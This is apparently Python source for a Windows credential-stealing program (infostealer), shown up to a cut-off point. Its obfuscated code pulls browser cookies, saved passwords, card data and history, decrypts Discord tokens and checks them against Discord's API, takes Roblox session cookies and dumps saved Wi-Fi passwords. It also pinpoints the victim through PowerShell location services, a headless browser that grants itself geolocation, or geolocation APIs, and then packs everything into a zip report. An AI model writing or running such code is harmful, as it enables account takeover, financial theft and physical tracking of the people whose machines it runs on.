
def _f5(pfp):
    out=[]
    db=os.path.join(pfp,_E["ffck"])
    if not os.path.exists(db): return out
    tmp=_tc(db)
    if not tmp: return out
    try:
        conn=_g2().connect(tmp)
        try:
            for host,nm,val in conn.execute("SELECT host,name,value FROM moz_cookies ORDER BY host").fetchall():
                if val and str(val).strip(): out.append(("Firefox","",str(host),str(nm),str(val)))
        except: pass
        conn.close()
    except: pass
    finally:
        try: os.remove(tmp)
        except: pass
    return out

def _f6():
    out=[]
    try:
        res=_sp.check_output(_E["nw"],shell=True,text=True,errors="ignore",creationflags=0x08000000)
        for line in res.splitlines():
            if "All User Profile" in line:
                ssid=line.split(":",1)[1].strip()
                if not ssid: continue
                try:
                    det=_sp.check_output(_E["nwp"]+' name="'+ssid+'" key=clear',
                        shell=True,text=True,errors="ignore",creationflags=0x08000000)
                    pw="(none)"
                    for l2 in det.splitlines():
                        if _E["kc"] in l2: pw=l2.split(":",1)[1].strip(); break
                    out.append((ssid,pw))
                except: out.append((ssid,"(err)"))
    except: pass
    return out

_TP=_r.compile(r"[\w-]{24,27}\.[\w-]{6,7}\.[\w-]{25,110}")
_EP=_r.compile(r"dQw4w9WgXcQ:[^\"]*")

def _sc(ldb,key):
    found=[]
    if not os.path.exists(ldb): return found
    try:
        for fn in os.listdir(ldb):
            if not fn.endswith((".log",".ldb")): continue
            try:
                with open(os.path.join(ldb,fn),errors="ignore") as f: data=f.read()
                for m in _EP.findall(data):
                    try:
                        A=_g0(); raw=_b64.b64decode(m.split("dQw4w9WgXcQ:")[1])
                        c=A.new(key,A.MODE_GCM,nonce=raw[3:15])
                        tok=c.decrypt_and_verify(raw[15:-16],raw[-16:]).decode(errors="ignore").strip()
                        if _TP.match(tok) and tok not in found: found.append(tok)
                    except: pass
                for m in _TP.findall(data):
                    m2=m.strip()
                    if m2 not in found: found.append(m2)
            except: pass
    except: pass
    return found

def _f7():
    out=[]
    for app,base in _DP.items():
        for sub in [os.path.join("Local Storage",_E["lv"]),_E["lv"]]:
            ldb=os.path.join(base,sub)
            if not os.path.exists(ldb): continue
            lsp=os.path.join(base,_E["ls"]); key=None
            if os.path.exists(lsp):
                try:
                    with open(lsp) as f: j=_jn.load(f)
                    raw=j.get(_E["oc"],{}).get(_E["ek"],"")
                    key=_g1().CryptUnprotectData(_b64.b64decode(raw)[5:],None,None,None,0)[1]
                except: pass
            for t in _sc(ldb,key):
                if (t,app) not in out: out.append((t,app))
    for br,base in _BP.items():
        if not os.path.exists(base): continue
        key=_mk(base)
        for pf in ["Default"]+["Profile "+str(i) for i in range(1,6)]:
            ldb=os.path.join(base,pf,"Local Storage",_E["lv"])
            for t in _sc(ldb,key):
                e=(t,br+"["+pf+"]")
                if e not in out: out.append(e)
    if os.path.exists(_FF):
        for pf in os.listdir(_FF):
            for rt,_,fls in os.walk(os.path.join(_FF,pf)):
                for fn in fls:
                    if not fn.lower().endswith(".sqlite"): continue
                    try:
                        with open(os.path.join(rt,fn),errors="ignore") as f: data=f.read()
                        for m in _TP.findall(data):
                            if (m.strip(),"Firefox") not in out: out.append((m.strip(),"Firefox"))
                    except: pass
    return out

def _vt(tok):
    try:
        req=_g3(); tok=tok.strip()
        h={"Authorization":tok,"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","Content-Type":"application/json"}
        for url in ["https://discord.com/api/v9/users/@me","https://discord.com/api/v8/users/@me","https://discordapp.com/api/v9/users/@me"]:
            r=req.get(url,headers=h,timeout=8)
            if r.status_code==200: return r.json()
    except: pass
    return None

def _grab_roblox():
    found=[]
    for br,base in _BP.items():
        if not os.path.exists(base): continue
        key=_mk(base)
        for pf in ["Default"]+[f"Profile {i}" for i in range(1,6)]:
            for cp in [os.path.join(base,pf,"Network","Cookies"),os.path.join(base,pf,"Cookies")]:
                if not os.path.exists(cp): continue
                tmp=_tc(cp)
                if not tmp: continue
                try:
                    conn=_g2().connect(tmp); conn.text_factory=bytes
                    for host,name,ev in conn.execute("SELECT host_key,name,encrypted_value FROM cookies WHERE name='.ROBLOSECURITY'"):
                        val=_dc(ev,key) or ""
                        if val and val.strip(): found.append((val,br,pf))
                    conn.close()
                except: pass
                finally:
                    try: os.remove(tmp)
                    except: pass
                break
    if os.path.exists(_FF):
        for pfn in os.listdir(_FF):
            pfp=os.path.join(_FF,pfn)
            db=os.path.join(pfp,"cookies.sqlite")
            if not os.path.exists(db): continue
            tmp=_tc(db)
            if not tmp: continue
            try:
                conn=_g2().connect(tmp)
                for host,name,val in conn.execute("SELECT host,name,value FROM moz_cookies WHERE name='.ROBLOSECURITY'"):
                    if val and val.strip(): found.append((val,"Firefox",pfn))
                conn.close()
            except: pass
            finally:
                try: os.remove(tmp)
                except: pass
    return found

def _gps():
    import json as _jl, socket as _sk, threading as _th
    import http.server as _hs, random as _rnd, shutil as _sh
    import struct as _st, base64 as _b6

    def _browser_gps():
        candidates=[
            os.path.join(os.environ.get("LOCALAPPDATA",""),r"Google\Chrome\Application\chrome.exe"),
            r"C:\Program Files\Google\Chrome\Application\chrome.exe",
            r"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe",
            os.path.join(os.environ.get("LOCALAPPDATA",""),r"Microsoft\Edge\Application\msedge.exe"),
            r"C:\Program Files\Microsoft\Edge\Application\msedge.exe",
        ]
        browser=next((b for b in candidates if os.path.exists(b)),None)
        if not browser: return None
        dbg=_rnd.randint(9300,9850); srv=_rnd.randint(10200,14000)
        tmp=os.path.join(os.environ.get("TEMP","C:\\Temp"),f"_zx{dbg}")
        page=(
            "<!DOCTYPE html><html><body><div id=r>...</div><script>"
            "navigator.geolocation.getCurrentPosition("
            "function(p){document.getElementById('r').textContent="
            "p.coords.latitude+'|'+p.coords.longitude+'|'+p.coords.accuracy},"
            "function(e){document.getElementById('r').textContent='e'+e.code},"
            "{enableHighAccuracy:true,timeout:25000,maximumAge:0});"
            "</script></body></html>"
        )
        class _H(_hs.BaseHTTPRequestHandler):
            def do_GET(self):
                self.send_response(200); self.send_header("Content-Type","text/html"); self.end_headers()
                self.wfile.write(page.encode())
            def log_message(self,*a): pass
        httpd=_hs.HTTPServer(("127.0.0.1",srv),_H)
        _th.Thread(target=httpd.serve_forever,daemon=True).start()
        proc=None; sock=None
        try:
            proc=_sp.Popen([browser,f"--remote-debugging-port={dbg}","--headless=new",
                "--no-sandbox","--disable-gpu","--no-first-run","--no-default-browser-check",
                "--disable-background-networking",f"--user-data-dir={tmp}",
                f"http://127.0.0.1:{srv}/"],creationflags=0x08000000,
                stdout=_sp.DEVNULL,stderr=_sp.DEVNULL)
            time.sleep(3)
            raw=_g4().urlopen(f"http://127.0.0.1:{dbg}/json",timeout=5).read()
            tabs=_jl.loads(raw)
            ws_url=next((t["webSocketDebuggerUrl"] for t in tabs if t.get("type")=="page"),"")
            if not ws_url: return None
            ws_path=ws_url.split(f"127.0.0.1:{dbg}")[1]
            def _ws_send(s,obj):
                data=_jl.dumps(obj).encode(); mask=os.urandom(4)
                hdr=bytearray([0x81]); l=len(data)
                hdr.append((0x80|l) if l<126 else (0x80|126) if l<65536 else (0x80|127))
                if l>=126 and l<65536: hdr+=bytearray([l>>8,l&0xFF])
                elif l>=65536: hdr+=bytearray(l.to_bytes(8,"big"))
                s.sendall(bytes(hdr)+mask+bytes(b^mask[i%4] for i,b in enumerate(data)))
            def _ws_recv(s):
                def _rb(n):
                    buf=b""
                    while len(buf)<n: buf+=s.recv(n-len(buf))
                    return buf
                h=_rb(2); l=h[1]&0x7F
                if l==126: l=int.from_bytes(_rb(2),"big")
                elif l==127: l=int.from_bytes(_rb(8),"big")
                return _jl.loads(_rb(l)) if (h[0]&0xF)==1 else None
            sock=_sk.socket(_sk.AF_INET,_sk.SOCK_STREAM); sock.settimeout(12)
            sock.connect(("127.0.0.1",dbg))
            key=_b6.b64encode(os.urandom(16)).decode()
            sock.sendall((
                f"GET {ws_path} HTTP/1.1\r\nHost: 127.0.0.1:{dbg}\r\n"
                f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
                f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
            ).encode())
            buf=b""
            while b"\r\n\r\n" not in buf: buf+=sock.recv(512)
            _ws_send(sock,{"id":1,"method":"Browser.grantPermissions",
                           "params":{"permissions":["geolocation"],"origin":f"http://127.0.0.1:{srv}"}})
            _ws_recv(sock)
            for _ in range(56):
                time.sleep(0.5)
                _ws_send(sock,{"id":2,"method":"Runtime.evaluate",
                               "params":{"expression":"document.getElementById('r').textContent"}})
                resp=_ws_recv(sock)
                val=(resp or {}).get("result",{}).get("result",{}).get("value","")
                if val and "..." not in val and not val.startswith("e"):
                    parts=val.split("|")
                    if len(parts)>=2:
                        return {"lat":float(parts[0]),"lon":float(parts[1]),
                                "acc":float(parts[2]) if len(parts)>2 else None,
                                "alt":None,"src":f"Chrome geolocation ({os.path.basename(browser)})"}
        except:pass
        finally:
            try: sock and sock.close()
            except:pass
            try: proc and proc.terminate()
            except:pass
            try: httpd.shutdown()
            except:pass
            time.sleep(1)
            try: _sh.rmtree(tmp,ignore_errors=True)
            except:pass
        return None

    def _scan_aps():
        try:
            r=_sp.run(["netsh","wlan","show","networks","mode=bssid"],
                      capture_output=True,text=True,timeout=12,creationflags=0x08000000)
            aps=[]; bssid=None
            for line in r.stdout.splitlines():
                ln=line.strip()
                if ln.lower().startswith("bssid") and ":" in ln:
                    v=ln.split(":",1)[1].strip()
                    if len(v)>=17: bssid=v
                elif "signal" in ln.lower() and bssid:
                    try:
                        pct=int(ln.split(":",1)[1].strip().replace("%",""))
                        aps.append({"macAddress":bssid,"signalStrength":(pct//2)-100,"signalToNoiseRatio":0})
                    except:pass
                    bssid=None
            return aps
        except:return []

    def _wifi_post(url,key,aps,label):
        try:
            target=url+(f"?key={key}" if key else "")
            body=_jl.dumps({"wifiAccessPoints":aps}).encode()
            req=_g4().Request(target,data=body,
                headers={"Content-Type":"application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"},
                method="POST")
            with _g4().urlopen(req,timeout=14) as resp:
                d=_jl.loads(resp.read().decode())
                loc=d.get("location",d)
                lat=loc.get("lat") or loc.get("latitude")
                lon=loc.get("lng") or loc.get("lon") or loc.get("longitude")
                acc=d.get("accuracy")
                if lat and lon:
                    ac=float(acc) if acc else None
                    if ac and ac>800: return None
                    return {"lat":float(lat),"lon":float(lon),"acc":ac,"alt":None,"src":f"WiFi — {len(aps)} APs ({label})"}
        except:pass
        return None

    def _com_watcher():
        ps=(
            "Add-Type -AssemblyName System.Device;"
            "try{"
            "$w=New-Object System.Device.Location.GeoCoordinateWatcher("
            "  [System.Device.Location.GeoPositionAccuracy]::High);"
            "$w.MovementThreshold=0;$w.Start($true);"
            "$rd=[DateTime]::UtcNow.AddSeconds(10);"
            "while($w.Status -ne 'Ready' -and [DateTime]::UtcNow -lt $rd){Start-Sleep -Milliseconds 300};"
            "if($w.Status -ne 'Ready'){exit 1};"
            "$bLat=0;$bLon=0;$bAcc=[double]::MaxValue;"
            "$dl=[DateTime]::UtcNow.AddSeconds(45);"
            "while([DateTime]::UtcNow -lt $dl){"
            "  $c=$w.Position.Location;"
            "  if(!$c.IsUnknown -and $c.HorizontalAccuracy -lt $bAcc){"
            "    $bAcc=$c.HorizontalAccuracy;$bLat=$c.Latitude;$bLon=$c.Longitude"
            "  };if($bAcc -le 20){break};Start-Sleep -Milliseconds 400"
            "};"
            "if($bAcc -eq [double]::MaxValue){exit 1};"
            "Write-Host \"$bLat|$bLon|$bAcc\""
            "}catch{exit 1}"
        )
        try:
            r=_sp.run(["powershell","-NoP","-NonI","-Ex","Bypass","-C",ps],
                      capture_output=True,text=True,timeout=65,creationflags=0x08000000)
            if r.returncode==0 and r.stdout.strip():
                p=r.stdout.strip().split("|")
                if len(p)>=2:
                    return {"lat":float(p[0]),"lon":float(p[1]),
                            "acc":float(p[2]) if len(p)>2 and p[2].strip() else None,
                            "alt":None,"src":"COM GeoCoordinateWatcher (45s best-of)"}
        except:pass
        return None

    r=_com_watcher()
    if r: return r
    r=_browser_gps()
    if r: return r
    pool=[]; aps=_scan_aps()
    if len(aps)>=2:
        r=_wifi_post("https://www.googleapis.com/geolocation/v1/geolocate",
                     "AIzaSyD-9tSrke72NouMc-GA6KAiqxfZtef9HAM",aps,"Google")
        if r: pool.append(r)
        r=_wifi_post("https://api.beacondb.net/v1/geolocate",None,aps,"Beacondb")
        if r: pool.append(r)
    if not pool: return None
    pool.sort(key=lambda x: x.get("acc") if x.get("acc") is not None else 9999)
    return pool[0]

def main():
    _debug_check()
    time.sleep(0.4+(os.getpid()%7)*0.1)
    _su()
    geo=_gg(); ip_val=geo.get("query",_gi()); pc_user,pc_name=_pc(); gps=_gps()
    pw0=[];hi0=[];cv0=[];ck0=[]
    for br,base in _BP.items():
        if not os.path.exists(base): continue
        for pf in ["Default"]+["Profile "+str(i) for i in range(1,6)]:
            if not os.path.exists(os.path.join(base,pf)): continue
            pw0+=_f0(base,br,pf); hi0+=_f1(base,br,pf)
            cv0+=_f2(base,br,pf); ck0+=_f3(base,br,pf)
    if os.path.exists(_FF):
        for pfn in os.listdir(_FF):
            pfp=os.path.join(_FF,pfn)
            if os.path.isdir(pfp): hi0+=_f4(pfp); ck0+=_f5(pfp)
    wf0=_f6(); tk0=_f7(); roblox_cookies=_grab_roblox()
    seen={}
    for tok,app in tk0:
        if tok not in seen: seen[tok]=app
    tk0=list(seen.items())
    bio=_BIO()
    with _zp.ZipFile(bio,"w",_zp.ZIP_DEFLATED) as zf:
        zf.writestr("EXECUTED.txt","Executed at "+str(_dt.datetime.now()))
        if pw0:
            t="Passwords\n"+"="*60+"\n\n"
            for b,p,url,usr,pw in pw0: t+=f"[{b}][{p}]\nURL: {url}\nUser: {usr}\nPass: {pw}\n{chr(45)*50}\n"
            zf.writestr("Passwords/passwords.txt",t)
        if cv0:
            t="Cards\n"+"="*60+"\n\n"
            for b,p,nm,exp,num in cv0: t+=f"[{b}][{p}]\nName: {nm}  Exp: {exp}\nNum: {num}\n{chr(45)*50}\n"
            zf.writestr("Cards/cards.txt",t)
        if hi0:
            t="History\n"+"="*60+"\n"; t+=f"Total: {len(hi0)}\n\n"
            for b,p,dt,vc,title,url in hi0: t+=f"[{b}][{p}] {dt}  (x{vc})\n  {title}\n  {url}\n\n"
            zf.writestr("History/history.txt",t)
        if ck0:
            t="Cookies\n"+"="*60+"\n"; t+=f"Total: {len(ck0)}\n\n"; cur=None
            for br,pf,hk,nm,val in ck0:
                if br!=cur: t+=f"\n[{br}][{pf}]\n{chr(45)*50}\n"; cur=br
                t+=f"  {hk[:40]:<40}  {nm[:30]:<30}  {val[:80]}\n"
            zf.writestr("Cookies/cookies.txt",t)
        if wf0:
            t="WiFi\n"+"="*60+"\n\n"
            for ssid,pw in wf0: t+=f"SSID: {ssid}\nPass: {pw}\n{chr(45)*40}\n"
            zf.writestr("Wifi/wifi.txt",t)
        if tk0:
            t="Tokens\n"+"="*60+"\n\n"
            for tok,plat in tk0: t+=f"[{plat}]\n{tok}\n{chr(45)*50}\n"
            zf.writestr("Tokens/tokens.txt",t)
        else:
            zf.writestr("Tokens/NO_DISCORD.txt","No Discord tokens found.\n")
        if roblox_cookies:
            t="Roblox\n"+"="*60+"\n\n"
            for cookie,br,pf in roblox_cookies: t+=f"[{br} - {pf}]\nCookie: {cookie}\n{chr(45)*50}\n"
            zf.writestr("Roblox/roblox_cookies.txt",t)
        else:
            zf.writestr("Roblox/NO_ROBLOX.txt","No Roblox cookies found.\n")
        _ip_lat=geo.get("lat","?"); _ip_lon=geo.get("lon","?")
        if gps:
            _lat=gps["lat"]; _lon=gps["lon"]; _acc=gps.get("acc")
            _alt=gps.get("alt"); _src=gps.get("src","GPS / Wi-Fi (Windows Location Services)")
        else:
            _lat=_ip_lat; _lon=_ip_lon; _acc=None; _alt=None; _src="IP Geolocation  (city-level fallback)"
        _mlink=f"https://www.google.com/maps?q={_lat},{_lon}" if _lat!="?" else "N/A"
        t ="LOCATION REPORT\n"+"="*60+"\n\n"
        t+=f"  Source      :  {_src}\n\n"+"-"*60+"\n\n"
        t+=f"  Latitude    :  {_lat}\n"
        t+=f"  Longitude   :  {_lon}\n"
        if _acc is not None: t+=f"  Accuracy    :  +/-{_acc:.1f} m\n"
        if _alt is not None: t+=f"  Altitude    :  {_alt:.1f} m\n"
        t+=f"  Maps Link   :  {_mlink}\n\n"+"-"*60+"\n\n"
        t+=f"  IP Address  :  {ip_val}\n"
        t+=f"  Country     :  {geo.get('country','?')} ({geo.get('countryCode','?')})\n"
        t+=f"  Region      :  {geo... (12 KB left)